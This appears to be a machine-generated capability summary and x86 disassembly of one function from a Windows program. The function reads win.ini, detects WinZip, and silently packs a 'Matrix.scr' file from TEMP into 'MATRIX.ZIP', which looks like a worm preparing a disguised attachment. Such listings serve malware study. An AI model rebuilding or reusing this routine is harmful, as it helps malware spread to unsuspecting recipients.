Function at 0x4026e0
Capabilities:
Create process on windows
Get common file path
Query environment variable
Read .ini file

Disassembly:
sub esp, 0x560
push ebx
push ebp
push esi
push edi
call fcn.004024d0
lea eax, [esp + 0x10]
push 0x64
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 0x10]
push str.win.ini
push ecx
lea edx, [esp + 0x18]
push str._s_s
push edx
call fcn.004037a4
add esp, 0x10
mov ebp, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x27c]
push eax
push 0xff
push ecx
push str.Default
push 0x40bdcc
push str.Extensions
call ebp
lea edx, [esp + 0x27c]
push 0x40b610
push edx
call fcn.004039b5
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call fcn.00403730
mov ebx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
lea edx, [esp + 0x27c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push 0xff
push edx
push str.Default
push str.win32_version
push str.WinZip
call ebp
mov esi, eax
lea eax, [esp + 0x27c]
push 0x40b610
push eax
call fcn.004039b5
add esp, 8
mov ebp, eax
test esi, esi
je 0x402993
push str.Default
push ebx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x402993
lea ecx, [esp + 0x74]
push 0x104
push ecx
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x178]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40b324
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x17c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Matrix.scr
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x17c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401e10
mov edi, str.MATRIX.ZIP
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x74]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push eax
push 3
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x88]
push 0x80000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
jne 0x402955
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push str.6.3_8.0
push ebp
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x402904
lea ecx, [esp + 0x178]
lea edx, [esp + 0x74]
push ecx
push edx
lea eax, [esp + 0x384]
push str._noadddialog______x___s____s_
push eax
call fcn.004037a4
add esp, 0x10
lea ecx, [esp + 0x37c]
push 0
push 0x40d004
push ecx
jmp 0x402947
push str.6.3_7.0
push ebp
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x402955
lea edx, [esp + 0x178]
lea eax, [esp + 0x74]
push edx
push eax
lea ecx, [esp + 0x384]
push str.______a___s____s_
push ecx
call fcn.004037a4
add esp, 0x10
lea edx, [esp + 0x37c]
push 0
push 0x40d004
push edx
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 0x74]
push eax
push 0x40b688
push 0x40ccdc
call fcn.004037a4
lea ecx, [esp + 0x184]
push ecx
push 0x40b688
push 0x40cbd8
call fcn.004037a4
add esp, 0x18
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x560
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x560
ret